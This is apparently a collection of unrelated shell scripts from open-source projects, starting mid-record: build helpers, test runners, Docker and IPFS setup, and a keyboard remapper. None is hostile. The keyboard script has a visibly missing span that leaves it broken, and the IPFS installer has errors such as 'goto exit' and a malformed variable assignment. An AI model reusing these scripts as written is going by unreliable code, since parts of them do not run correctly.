run --rm --attach --restart Never \\\n --image busybox \\\n busybox \\\n --command nslookup kubernetes \\\n | tee /dev/stderr | grep -q \"Address: 10.32.0.1\"\n\necho \"Success.\""} {"text": "#!/bin/bash\n\n# 使用这种方式将输出台的信息全部发送到黑洞,但是项目正常的log文件输出还是正常的\n\t# 也说明了java的日志输出是当前jar运行路径下新建 log 目录然后输出log文件\n# 可以配置 alias redis_client='sh yourpath/run.sh' 方便运行\ncd `dirname $0`\nnohup java -jar `find . -name *-all.jar` -Xmx1024m -Xms1024m -Xmn512m >/dev/null 2>&1"} {"text": "dream-overflow/o3d\n#!/bin/bash\nbold=$(tput bold)\nnormal=$(tput sgr0)\n\ncd shaders\n\nfor D in *; do\n if [ -d \"${D}\" ]; then\n echo \"Process ${bold}${D}${normal} :\"\n\t\trm ${D}.zip\n\t\tzip -r ${D}.zip ${D}\n echo \"\"\n fi\ndone\n\ncd .."} {"text": "#!/bin/bash\n\n# This is an example of how to run the code through the Closure\n# compiler. You'll have to update the path to reflect where it's\n# installed on your system. I used the compiler for static code\n# analysis only; index.html runs the unminified code.\n\njava -jar /home/rahulraj/dls/closure-compiler/compiler.jar \\\n --js=othello.js --js=utils/utils.js --js=utils/functional.js \\\n --js=utils/option.js --js=point.js --js=piece.js --js=board.js \\\n --js=player.js --js=observer.js --js=observable.js \\\n --js=boardHistory.js --js=gameStartForm.js --js=startFormController.js \\\n --js=boardDivView.js \\\n --js=boardTableView.js --js=gameView.js --js=gameModel.js \\\n --js=gameController.js --js=gameFactory.js --js=main.js \\\n --externs=externs.js --warning_level=VERBOSE \\\n --compilation_level=SIMPLE_OPTIMIZATIONS \\\n > /dev/null # We only care about the error output"} {"text": "#!/bin/bash\ncd cegui-ppa\n#debian/rules install-orig-source\n#dpkg-buildpackage -rfakeroot -\ndebian/rules get-orig-source\ndebuild -S -sa -\ncd ..\ndput ppa:adrian-arroyocalle/cegui cegui*.changes"} {"text": "#!/bin/sh\n\n# wip\n# Caps_Lock key is now ISO_Level3_Shift\n# see example on H key, it can do 6 levels now.\n# it works with matlab but not so much with xmonad.\n# note the Shift-Tab-J generates one \"4\" but then goes dead\n# not sure if this bug is related to this wip\n# we could test it with the previous kb...\n# did the test, and failed to reproduce the bug in either \n#\n# BONUS! this seems fine to work with matlab -- Caps_Lock when tapped makes enter, and also works as a modifier, unlike ';'\n \n\n\ncase \"$1\" in\n stop) stop=1 ;;\n start) stop=1 ; start=1 ;;\n restart) stop=1 ; start=1 ;;\n help) help=1 ;;\n *) stop=1 ; start=1 ;; ### with no args, restart. this is done because /etc/X11/xinit/xinitrc.d runs it with no args.\nesac\n\nif [ -n \"$stop\" ] ; then\n pkill -x xcape # don't have multiple xcape running!\n setxkbmap -layout 'us(intl)' # RESET for clean slate!!\nfi\n\nif [ -n \"$start\" ] ; then \n\n\n### xkbset -bell -feedback sticky -twokey latchlock\n### xkbset exp 64 '=sticky' '=twokey' '=latchlock'\n\n\nxmodmap - < /dev/null\n done\n if [ \"$modifier\" != \"\" ]\n then\n xmodmap -e \"add $modifier = $modkeysym\" || printf \"\\nerror: tapifier %s\\nat step: add %s = %s\" \"$*\" \"$modifier\" \"$modkeysym\"\n fi\n\n xmodmap -e \"keycode $anykey = $tapkeysym $extrakeysyms\"|| printf \"\\nerror: tapifier %s\\nat step: keycode any = %s %s \" \"$*\" \"$tapkeysym\" \"$extrakeysyms\"\ndone\n xcape -e \"${modkeysym}=${tapkeysym}\"\n anykey=$(( anykey -1 ))\n}\n\ntapifier Mode_switch 23 '' Tab 'BackTab' ### '' is because Mode_switch is a special keysym, not a modifier\n\n\n### tapifier Hyper_R 61 Shift slash 'question backslash'\n### tapifier Shift_L 50 Shift Escape\n# physical Shift_R still works as plain shift without next line\n# tapifier Shift_R 62 Shift BackSpace\n# this allows use of Shiht_R for tilde key\n### tapifier Shift_R 49 Shift grave asciitilde\n\n### temporary experimental\n### i do not use any layer very much, except the symbol layer\n### tapifier ISO_Level3_Shift 66 mod5 Return\n\nxmodmap -e \"clear control\"\nxmodmap -e \"clear mod1\"\nxmodmap -e \"add control = Control_L Control_R\"\nxmodmap -e \"add mod1 = Alt_L\"\n\ntapifier Control_L 66 control Return ### tapifier defeats sticky somehow, i'll take it!\n\nfi\n\nif [ -n \"$help\" ] ; then\necho '\nusage:\n baklava start # start baklava silently\n baklava restart # stop baklava silently & then start baklava silently\n baklava stop # stop baklava silently\n baklava help # print this message\n baklava # stop baklava, as failsafe if your keyboard is crazy & print help message\n' >&2\nfi"} {"text": "1-10\n#!/bin/bash\nPATH=/usr/bin\necho \"Uninstalling..\"\nsudo rm $PATH/bright\necho \"OK!\""} {"text": "#!/usr/local/bin/ksh93 -p\n#\n# CDDL HEADER START\n#\n# The contents of this file are subject to the terms of the\n# Common Development and Distribution License (the \"License\").\n# You may not use this file except in compliance with the License.\n#\n# You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE\n# or http://www.opensolaris.org/os/licensing.\n# See the License for the specific language governing permissions\n# and limitations under the License.\n#\n# When distributing Covered Code, include this CDDL HEADER in each\n# file and include the License file at usr/src/OPENSOLARIS.LICENSE.\n# If applicable, add the following below this CDDL HEADER, with the\n# fields enclosed by brackets \"[]\" replaced with your own identifying\n# information: Portions Copyright [yyyy] [name of copyright owner]\n#\n# CDDL HEADER END\n#\n\n# $FreeBSD$\n\n#\n# Copyright 2009 Sun Microsystems, Inc. All rights reserved.\n# Use is subject to license terms.\n#\n# ident\t\"@(#)userquota_008_pos.ksh\t1.1\t09/06/22 SMI\"\n#\n\n################################################################################\n#\n# __stc_assertion_start\n#\n# ID: userquota_008_pos\n#\n# DESCRIPTION:\n# \n# zfs get all does not print out userquota/groupquota\n#\n# STRATEGY:\n# 1. set userquota and groupquota to a fs\n# 2. check zfs get all fs\n#\n# TESTABILITY: explicit\n#\n# TEST_AUTOMATION_LEVEL: automated\n#\n# CODING STATUS: COMPLETED (2009-04-16)\n#\n# __stc_assertion_end\n#\n###############################################################################\n\n. $STF_SUITE/include/libtest.kshlib\n. $STF_SUITE/tests/userquota/userquota_common.kshlib\n\nfunction cleanup\n{\n\tlog_must cleanup_quota\n}\n\nlog_onexit cleanup\n\nlog_assert \"Check zfs get all will not print out user|group quota\"\n\nlog_must $ZFS set userquota@$QUSER1=50m $QFS\nlog_must $ZFS set groupquota@$QGROUP=100m $QFS\n\nlog_mustnot $ZFS get all $QFS | $GREP userquota\nlog_mustnot $ZFS get all $QFS | $GREP groupquota\n\nlog_pass \"zfs get all will not print out user|group quota\""} {"text": "0\n#!/bin/bash\n\n## DESCRIPTION: \n\n## AUTHOR: ()\n\nsudo rm -r /home/$USER/ipfs\nGO=`which go`\nif test -z $GO\nthen\n\tsudo snap install go\nfi\n\nIPFS=`which ipfs`\nif test -z $IPFS\nthen\n\tsudo mkdir /home/$USER/ipfs && cd /home/$USER/ipfs\n\twget https://dist.ipfs.io/go-ipfs/v0.10.0/go-ipfs_v0.10.0_linux-amd64.tar.gz\n\ttar -xvzf go-ipfs_v0.10.0_linux-amd64.tar.gz\n\tcd go-ipfs\n\tchmod +x install.sh\n\tsudo ./install.sh\nfi\n\nsudo rm -r /home/$USER/IPFS-dep\nmkdir /home/$USER/IPFS-dep && cd IPFS-dep\nipfs init\nipfs version\nsudo sysctl -w net.core.rmem_max=2500000\nipfs bootstrap rm all\nsudo npm install ipfs-swarm-key-gen -g\nnode-ipfs-swarm-key-gen > ~/.ipfs/swarm.key\ntouch /home/$USER/IPFS-dep/ipfs_id.txt\nipfs id > /home/$USER/IPFS-dep/ipfs_id.txt\nIPFS_DEP=/home/$USER/IPFS-dep/\nIPFS_ID=`grep ID $IPFS_DEP/ipfs_id.txt | cut -d: -f2 | sed 's/\"//g' | sed 's/,//g' | sed 's/ //g'`\necho \"$IPFS_ID\"\n\necho \"Enter the Public IP Address \"\nread -p \"IP Addr : \" IP_ADDR\necho $IP_ADDR\n\nifconfig > \"$IPFS_DEP\"/ifconfig.txt\nCHECK_IP=`grep \"$IP_ADDR\" \"$IPFS_DEP\"/ifconfig.txt`\nif test -z \"$CHECK_IP\"\nthen\n\techo \"Enter the Correct Interface IP Address\"\n\tgoto exit\nfi\n\n\n\necho \"Do you want to change Gateway port from 8080\"\nread -p \"Y or N :\" RES\nif test \"$RES\" = \"Y\"\nthen\n\tread -p \"Enter the Port Number : \" PORT\n\tsudo sed 's/8080/'$PORT'/g' /home/$USER/.ipfs/config\nfi\n\nipfs bootstrap add /ip4/$IP_ADDR/tcp/4001/ipfs/$IPFS_ID\nPEER_ID=ipfs bootstrap add /ip4/'$IP_ADDR'/tcp/4001/ipfs/'$IPFS_ID'\necho \"PEER_ID \"\necho $PEER_ID\nexport LIBP2P_FORCE_PNET=1\ngnome-terminal -x sh -c \"ipfs daemon\"\n\n\nIPFS_CLUSTER=`which ipfs-cluster-service`\nif test -z $IPFS_CLUSTER;\nthen\n\techo \"Entering to install Cluster Service for IPFS\"\n\tgit clone https://github.com/ipfs/ipfs-cluster.git\n\tcd ipfs-cluster\n\tmake install\n\tcd /home/$USER/IPFS-dep/ipfs-cluster/cmd/\n\tsudo cp -r ipfs*/ipfs* /bin\n\tipfs-cluster-service --version\n\tifs-cluster-ctl --version\nfi\n\nCLUSTER_SECRET=`od -vN 32 -An -tx1 /dev/urandom | tr -d ' \\n'`\necho \"export CLUSTER_SECRET = $CLUSTER_SECRET\" >> /home/$USER/.bashrc\nsource /home/$USER/.bashrc\n\nipfs-cluster-service init\necho \"Is it First Node : \"\nread -p \"Y or N : \" RES\nif test \"$RES\" = \"Y\"\nthen \n\tipfs-cluster-service daemon\n\techo \"Cluster started sucessfully\"\n\tBOOTSTRAP_ID=`grep id /home/$USER/.ipfs-cluster/identity.json | cut -d: -f2 | sed 's/\"//g' |sed 's/,//g' |sed 's/ //g'`\n\techo $BOOTSTRAP_ID > Bootstrap_id.txt\n\techo $BOOTSTRAP_ID\n\ttouch restart.sh\n\techo \"ipfs daemon &\" > restart.sh\n\techo \"ipfs-cluster-service daemon &\" >> restart.sh\n\t\nelse\n\techo \"Enter the String to Be pasted from First node\"\n\tread -p \"paste string bootstrap ID :\" BID\n\tgnome-terminal -x sh -c \"ipfs-cluster-service daemon --bootstrap $BID\"\n\techo \"ipfs daemon &\" > restart.sh\n\techo \"ipfs-cluster-service daemon --bootstrap /ip4/$IP_ADDR/tcp/9096/p2p/$BID\" >> restart.sh\t\nfi\n\nexit:\n\techo \"Finished Installation .\""} {"text": "TheGrum/renderview\n#!/bin/sh\n\n./cmdgui -defaultflags=false -extraflags=\"width,int,0,height,int,0,page,int,0,search,string,puppy\" \"curl\" \"http://loremflickr.com/{{$.width}}/{{$.height}}/{{$.search}}\""} {"text": "scripts/workflowtests.sh\n#!/usr/bin/env bash\n#\n# workflowtests.sh\n# Usage example: ./workflowtests.sh --no-clean\n\n# Set Script Variables\n\nSCRIPT=\"$(\"$(dirname \"$0\")/resolvepath.sh\" \"$0\")\"\nSCRIPTS_DIR=\"$(dirname \"$SCRIPT\")\"\nROOT_DIR=\"$(dirname \"$SCRIPTS_DIR\")\"\nCURRENT_DIR=\"$(pwd -P)\"\n\nEXIT_CODE=0\nEXIT_MESSAGE=\"\"\n\n# Help\n\nfunction print_help() {\n local HELP=\"workflowtests.sh [--help | -h] [--project-name ]\\n\"\n HELP+=\" [--no-clean | --no-clean-on-fail]\\n\"\n HELP+=\" [--is-running-in-temp-env]\\n\"\n HELP+=\"\\n\"\n HELP+=\"--help, -h) Print this help message and exit.\\n\"\n HELP+=\"\\n\"\n HELP+=\"--project-name) The name of the project to run tests against. If not\\n\"\n HELP+=\" provided it will attempt to be resolved by searching\\n\"\n HELP+=\" the working directory for an Xcode project and using\\n\"\n HELP+=\" its name.\\n\"\n HELP+=\"\\n\"\n HELP+=\"--no-clean) When not running in a temporary environment, do not\\n\"\n HELP+=\" clean up the temporary project created to run these\\n\"\n HELP+=\" tests upon completion.\\n\"\n HELP+=\"\\n\"\n HELP+=\"--no-clean-on-fail) Same as --no-clean with the exception that if the\\n\"\n HELP+=\" succeed clean up will continue as normal. This is\\n\"\n HELP+=\" mutually exclusive with --no-clean with --no-clean\\n\"\n HELP+=\" taking precedence.\\n\"\n HELP+=\"--is-running-in-temp-env) Setting this flag tells this script that the\\n\"\n HELP+=\" environment (directory) in which it is running is a\\n\"\n HELP+=\" temporary environment and it need not worry about\\n\"\n HELP+=\" dirtying up the directory or creating/deleting files\\n\"\n HELP+=\" and folders. USE CAUTION WITH THIS OPTION.\\n\"\n HELP+=\"\\n\"\n HELP+=\" When this flag is NOT set, a copy of the containing\\n\"\n HELP+=\" working folder is created in a temporary location and\\n\"\n HELP+=\" removed (unless --no-clean is set) after the tests\\n\"\n HELP+=\" have finished running.\"\n\n IFS='%'\n echo -e $HELP\n unset IFS\n\n exit 0\n}\n\n# Parse Arguments\n\nwhile [[ $# -gt 0 ]]; do\n case \"$1\" in\n --project-name)\n PROJECT_NAME=\"$2\"\n shift # --project-name\n shift # \n ;;\n\n --is-running-in-temp-env)\n IS_RUNNING_IN_TEMP_ENV=1\n shift # --is-running-in-temp-env\n ;;\n\n --no-clean)\n NO_CLEAN=1\n shift # --no-clean\n ;;\n\n --no-clean-on-fail)\n NO_CLEAN_ON_FAIL=1\n shift # --no-clean-on-fail\n ;;\n\n --help | -h)\n print_help\n ;;\n\n *)\n echo \"Unknown argument: $1\"\n print_help\n esac\ndone\n\nif [ -z ${PROJECT_NAME+x} ]; then\n PROJECTS=$(ls \"$ROOT_DIR\" | grep \\.xcodeproj$)\n\n if [ \"${#PROJECTS[@]}\" == \"0\" ]; then\n echo \"No Xcode projects found in root directory. Try specifying a project name:\"\n print_help\n elif [ \"${#PROJECTS[@]}\" == \"1\" ]; then\n PROJECT_NAME=\"${PROJECTS[0]}\"\n PROJECT_NAME=\"${PROJECT_NAME%.*}\"\n else\n echo \"More than 1 Xcode projects found in root directory. Specify which project to run tests against:\"\n print_help\n fi\nelif [ ! -e \"$ROOT_DIR/$PROJECT_NAME.xcodeproj\" ]; then\n echo \"Unable to locate Xcode project to run tests against: $ROOT_DIR/$PROJECT_NAME.xcodeproj\"\n print_help\nfi\n\nif [ -z ${IS_RUNNING_IN_TEMP_ENV+x} ]; then\n IS_RUNNING_IN_TEMP_ENV=0\nfi\n\nif [ -z ${NO_CLEAN+x} ]; then\n NO_CLEAN=0\nfi\n\nif [ -z ${NO_CLEAN_ON_FAIL+x} ]; then\n NO_CLEAN_ON_FAIL=0\nfi\n\n# Function Definitions\n\nfunction cleanup() {\n if [ \"$IS_RUNNING_IN_TEMP_ENV\" == \"0\" ]; then\n if [[ \"$NO_CLEAN\" == \"1\" ]] || [[ \"$NO_CLEAN_ON_FAIL\" == \"1\" && \"$EXIT_CODE\" != \"0\" ]]; then\n echo \"Test Project: $OUTPUT_DIR\"\n else\n cd \"$CURRENT_DIR\"\n rm -rf \"$TEMP_DIR\"\n fi\n fi\n\n #\n\n local CARTHAGE_CACHE=\"$HOME/Library/Caches/org.carthage.CarthageKit\"\n if [ -e \"$CARTHAGE_CACHE\" ]; then\n if [ -e \"$CARTHAGE_CACHE/dependencies/$PROJECT_NAME\" ]; then\n rm -rf \"$CARTHAGE_CACHE/dependencies/$PROJECT_NAME\"\n fi\n\n for DIR in $(find \"$CARTHAGE_CACHE/DerivedData\" -mindepth 1 -maxdepth 1 -type d); do\n if [ -e \"$DIR/$PROJECT_NAME\" ]; then\n rm -rf \"$DIR/$PROJECT_NAME\"\n fi\n done\n fi\n\n #\n\n if [ ${#EXIT_MESSAGE} -gt 0 ]; then\n echo -e \"$EXIT_MESSAGE\"\n fi\n\n exit $EXIT_CODE\n}\n\nfunction checkresult() {\n if [ \"$1\" != \"0\" ]; then\n EXIT_MESSAGE=\"\\033[31m$2\\033[0m\"\n EXIT_CODE=$1\n\n cleanup\n fi\n}\n\nfunction printstep() {\n echo -e \"\\033[32m$1\\033[0m\"\n}\n\nfunction setuptemp() {\n local TEMP_DIR=\"$(mktemp -d)\"\n local TEMP_NAME=\"$(basename \"$(mktemp -u \"$TEMP_DIR/${PROJECT_NAME}Tests_XXXXXX\")\")\"\n local OUTPUT_DIR=\"$TEMP_DIR/$TEMP_NAME\"\n\n cp -R \"$ROOT_DIR\" \"$OUTPUT_DIR\"\n if [ \"$?\" != \"0\" ]; then exit $?; fi\n\n if [ -e \"$OUTPUT_DIR/.build\" ]; then\n rm -rf \"$OUTPUT_DIR/.build\"\n fi\n if [ -e \"$OUTPUT_DIR/.swiftpm\" ]; then\n rm -rf \"$OUTPUT_DIR/.swiftpm\"\n fi\n\n echo \"$OUTPUT_DIR\"\n}\n\n# Setup\n\nif [ \"$IS_RUNNING_IN_TEMP_ENV\" == \"1\" ]; then\n OUTPUT_DIR=\"$ROOT_DIR\"\nelse\n OUTPUT_DIR=\"$(setuptemp)\"\n echo -e \"Testing from Temporary Directory: \\033[33m$OUTPUT_DIR\\033[0m\"\nfi\n\n# Check For Dependencies\n\ncd \"$OUTPUT_DIR\"\nprintstep \"Checking for Test Dependencies...\"\n\n### Carthage\n\nif which carthage >/dev/null; then\n CARTHAGE_VERSION=\"$(carthage version)\"\n echo \"Carthage: $CARTHAGE_VERSION\"\n\n \"$SCRIPTS_DIR/versions.sh\" \"$CARTHAGE_VERSION\" \"0.37.0\"\n\n if [ $? -lt 0 ]; then\n echo -e \"\\033[33mCarthage version of at least 0.37.0 is recommended for running these unit tests\\033[0m\"\n fi\nelse\n checkresult -1 \"Carthage is not installed and is required for running unit tests: \\033[4;34mhttps://github.com/Carthage/Carthage#installing-carthage\"\nfi\n\n### CocoaPods\n\nif which pod >/dev/null; then\n PODS_VERSION=\"$(pod --version)\"\n \"$SCRIPTS_DIR/versions.sh\" \"$PODS_VERSION\" \"1.7.3\"\n\n if [ $? -ge 0 ]; then\n echo \"CocoaPods: $(pod --version)\"\n else\n checkresult -1 \"These unit tests require version 1.7.3 or later of CocoaPods: \\033[4;34mhttps://guides.cocoapods.org/using/getting-started.html#updating-cocoapods\"\n fi\nelse\n checkresult -1 \"CocoaPods is not installed and is required for running unit tests: \\033[4;34mhttps://guides.cocoapods.org/using/getting-started.html#installation\"\nfi\n\n# Run Tests\n\nprintstep \"Running Tests...\"\n\n### Carthage Workflow\n\nprintstep \"Testing 'carthage.yml' Workflow...\"\n\ngit add .\ngit commit -m \"Commit\" --no-gpg-sign\ngit tag | xargs git tag -d\ngit tag --no-sign 1.0\ncheckresult $? \"'Create Cartfile' step of 'carthage.yml' workflow failed.\"\n\necho \"git \\\"file://$OUTPUT_DIR\\\"\" > ./Cartfile\n\n./scripts/carthage.sh update\ncheckresult $? \"'Build' step of 'carthage.yml' workflow failed.\"\n\nprintstep \"'carthage.yml' Workflow Tests Passed\\n\"\n\n### CocoaPods Workflow\n\nprintstep \"Testing 'cocoapods.yml' Workflow...\"\n\npod lib lint\ncheckresult $? \"'Lint (Dynamic Library)' step of 'cocoapods.yml' workflow failed.\"\n\npod lib lint --use-libraries\ncheckresult $? \"'Lint (Static Library)' step of 'cocoapods.yml' workflow failed.\"\n\nprintstep \"'cocoapods.yml' Workflow Tests Passed\\n\"\n\n### Swift Package Workflow\n\nprintstep \"Testing 'swift-package.yml' Workflow...\"\n\nswift build -v\ncheckresult $? \"'Build' step of 'swift-package.yml' workflow failed.\"\n\nswift test -v --enable-code-coverage\ncheckresult $? \"'Test' step of 'swift-package.yml' workflow failed.\"\n\nxcrun llvm-cov export --format=lcov --instr-profile=\".build/debug/codecov/default.profdata\" \".build/debug/${PROJECT_NAME}PackageTests.xctest/Contents/MacOS/${PROJECT_NAME}PackageTests\" > \"./codecov.lcov\"\ncheckresult $? \"'Generate Code Coverage File' step of 'swift-package.yml' workflow failed.\"\n\nprintstep \"'swift-package.yml' Workflow Tests Passed\\n\"\n\n### XCFramework Workflow\n\nprintstep \"Testing 'xcframework.yml' Workflow...\"\n\n./scripts/xcframework.sh -output \"./$PROJECT_NAME.xcframework\"\ncheckresult $? \"'Build' step of 'xcframework.yml' workflow failed.\"\n\nprintstep \"'xcframework.yml' Workflow Tests Passed\\n\"\n\n### Upload Assets Workflow\n\nprintstep \"Testing 'upload-assets.yml' Workflow...\"\n\nzip -rX \"$PROJECT_NAME.xcframework.zip\" \"$PROJECT_NAME.xcframework\"\ncheckresult $? \"'Create Zip' step of 'upload-assets.yml' workflow failed.\"\n\ntar -zcvf \"$PROJECT_NAME.xcframework.tar.gz\" \"$PROJECT_NAME.xcframework\"\ncheckresult $? \"'Create Tar' step of 'upload-assets.yml' workflow failed.\"\n\nprintstep \"'upload-assets.yml' Workflow Tests Passed\\n\"\n\n### Xcodebuild Workflow\n\nprintstep \"Testing 'xcodebuild.yml' Workflow...\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME\" -destination \"generic/platform=iOS\" -configuration Debug\ncheckresult $? \"'Build iOS' step of 'xcodebuild.yml' workflow failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME\" -destination \"generic/platform=iOS Simulator\" -configuration Debug\ncheckresult $? \"'Build iOS Simulator' step of 'xcodebuild.yml' workflow failed.\"\n\nIOS_SIM=\"$(xcrun simctl list devices available | grep \"iPhone [0-9]\" | sort -rV | head -n 1 | sed -E 's/(.+)[ ]*\\([^)]*\\)[ ]*\\([^)]*\\)/\\1/' | awk '{$1=$1};1')\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME\" -testPlan \"${PROJECT_NAME}Tests\" -destination \"platform=iOS Simulator,name=$IOS_SIM\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"'Test iOS' step of 'xcodebuild.yml' workflow failed.\"\n\n###\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME\" -destination \"generic/platform=macOS,variant=Mac Catalyst\" -configuration Debug\ncheckresult $? \"'Build MacCatalyst' step of 'xcodebuild.yml' workflow failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME\" -testPlan \"${PROJECT_NAME}Tests\" -destination \"platform=macOS,variant=Mac Catalyst\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"'Test MacCatalyst' step of 'xcodebuild.yml' workflow failed.\"\n\n###\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME macOS\" -destination \"generic/platform=macOS\" -configuration Debug\ncheckresult $? \"'Build macOS' step of 'xcodebuild.yml' workflow failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME macOS\" -testPlan \"$PROJECT_NAME macOS Tests\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"'Test macOS' step of 'xcodebuild.yml' workflow failed.\"\n\n###\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME tvOS\" -destination \"generic/platform=tvOS\" -configuration Debug\ncheckresult $? \"'Build tvOS' step of 'xcodebuild.yml' workflow failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME tvOS\" -destination \"generic/platform=tvOS Simulator\" -configuration Debug\ncheckresult $? \"'Build tvOS Simulator' step of 'xcodebuild.yml' workflow failed.\"\n\nTVOS_SIM=\"$(xcrun simctl list devices available | grep \"Apple TV\" | sort -V | head -n 1 | sed -E 's/(.+)[ ]*\\([^)]*\\)[ ]*\\([^)]*\\)/\\1/' | awk '{$1=$1};1')\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME tvOS\" -testPlan \"$PROJECT_NAME tvOS Tests\" -destination \"platform=tvOS Simulator,name=$TVOS_SIM\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"'Test tvOS' step of 'xcodebuild.yml' workflow failed.\"\n\n###\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME watchOS\" -destination \"generic/platform=watchOS\" -configuration Debug\ncheckresult $? \"'Build watchOS' step of 'xcodebuild.yml' workflow failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME watchOS\" -destination \"generic/platform=watchOS Simulator\" -configuration Debug\ncheckresult $? \"'Build watchOS Simulator' step of 'xcodebuild.yml' workflow failed.\"\n\nWATCHOS_SIM=\"$(xcrun simctl list devices available | grep \"Apple Watch\" | sort -rV | head -n 1 | sed -E 's/(.+)[ ]*\\([^)]*\\)[ ]*\\([^)]*\\)/\\1/' | awk '{$1=$1};1')\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME watchOS\" -testPlan \"$PROJECT_NAME watchOS Tests\" -destination \"platform=watchOS Simulator,name=$WATCHOS_SIM\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"'Test watchOS' step of 'xcodebuild.yml' workflow failed.\"\n\nprintstep \"'xcodebuild.yml' Workflow Tests Passed\\n\"\n\n### Test Schemes\n\nprintstep \"Testing running unit tests with test schemes...\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"${PROJECT_NAME}Tests\" -testPlan \"${PROJECT_NAME}Tests\" -destination \"platform=iOS Simulator,name=$IOS_SIM\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"Test iOS (Test Scheme) failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"${PROJECT_NAME}Tests\" -testPlan \"${PROJECT_NAME}Tests\" -destination \"platform=macOS,variant=Mac Catalyst\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"Test MacCatalyst (Test Scheme) failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME macOS Tests\" -testPlan \"$PROJECT_NAME macOS Tests\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"Test macOS (Test Scheme) failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME tvOS Tests\" -testPlan \"$PROJECT_NAME tvOS Tests\" -destination \"platform=tvOS Simulator,name=$TVOS_SIM\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"Test tvOS (Test Scheme) failed.\"\n\nxcodebuild -project \"$PROJECT_NAME.xcodeproj\" -scheme \"$PROJECT_NAME watchOS Tests\" -testPlan \"$PROJECT_NAME watchOS Tests\" -destination \"platform=watchOS Simulator,name=$WATCHOS_SIM\" -configuration Debug ONLY_ACTIVE_ARCH=YES test\ncheckresult $? \"Test watchOS (Test Scheme) failed.\"\n\nprintstep \"Test Scheme Unit Tests Passed\\n\"\n\n### Success\n\ncleanup"} {"text": "0\nALGORITHM=Pagerank\nWORKERS=16\nGRAPH=$SOCIALITE_PREFIX/ae_dataset/experiment/arabic/maiter\nRESULT=result/pagerank\nNODES=12150976\nSNAPSHOT=1\nTERMTHRESH=0.0001\nBUFMSG=1000\nPORTION=1\n\n\n\n./maiter --runner=$ALGORITHM --workers=$WORKERS --graph_dir=$GRAPH --result_dir=$RESULT --num_nodes=$NODES --snapshot_interval=$SNAPSHOT --portion=$PORTION --termcheck_threshold=$TERMTHRESH --bufmsg=$BUFMSG --v=0 > log"} {"text": "second-state/oasis-ssvm-example-runtime\n#!/bin/bash\n\nsrc_path=$1\nbinary_path=$2\nroot_path=$3\n\nset -euo pipefail\n\n# Symlink an artifact from the source directory to the root directory.\nsymlink_artifact() {\n local src_path=$1\n local binary_path=$2\n local root_path=$3\n local skip_sanity_check=${4:-\"0\"}\n\n local artifact_src_path=\"$(realpath -m \"${src_path}/${binary_path}\")\"\n local artifact_dst_path=\"${root_path}/${binary_path}\"\n\n # Sanity check the source artifact.\n if [[ \"${skip_sanity_check}\" != \"1\" && ! -f \"${artifact_src_path}\" ]]; then\n echo \"ERROR: Artifact '${binary_path}' does not exist in specified path ${src_path}.\"\n echo \" Maybe you need to run: make -C \\\"${src_path}\\\"\"\n exit 1\n fi\n\n mkdir -p \"$(dirname \"${artifact_dst_path}\")\"\n ln -sf \"${artifact_src_path}\" \"${artifact_dst_path}\"\n}\n\nsymlink_artifact $root_path $binary_path $src_path 1"} {"text": "#!/bin/bash\n\n# 进入python Dockerfile 目录\n# cd /Volumes/Work/OpenSource/WaterBolik/prestudy/docker/python \n\n# 编译构建docker镜像\n# docker build -t bpython .\n\n# 执行docker\ndocker run -it --rm -v /Volumes/Work/OpenSource/WaterBolik/prestudy/python/PyTest:/pytest bpython"} {"text": "#!/bin/bash\nset -ex\n###############################################################################\n# Script for running the dockerized qvm tests\n###############################################################################\n\n# Trailing \"/.\" is special docker cp syntax. See link for details.\n# https://docs.docker.com/engine/reference/commandline/cp/#extended-description\nINPUT=\"/src/qvm/coverage-report/html/.\"\nOUTPUT=\"../coverage-report/html/\"\nCONTAINER=qvm-tests\nIMAGE=qvm-tests\n\nmkdir -p \"$OUTPUT\"\ndocker run --ipc=host --name \"$CONTAINER\" -e \"DISABLE_SHARED_MEMORY_QVM_TESTS=1\" \"$IMAGE\"\n# docker cp \"$CONTAINER\":\"$INPUT\" \"$OUTPUT\""} {"text": "#!/bin/bash\nTARGET_STRUCTURE_PATH=$1\n\nsource thirdparty/miniconda/miniconda/bin/activate learna\n/usr/bin/time -f\"%U\" python -m src.learna.design_rna \\\n --target_structure_path $TARGET_STRUCTURE_PATH \\\n --mutation_threshold 5 \\\n --batch_size 101 \\\n --conv_channels 4 7 \\\n --conv_sizes 0 3 \\\n 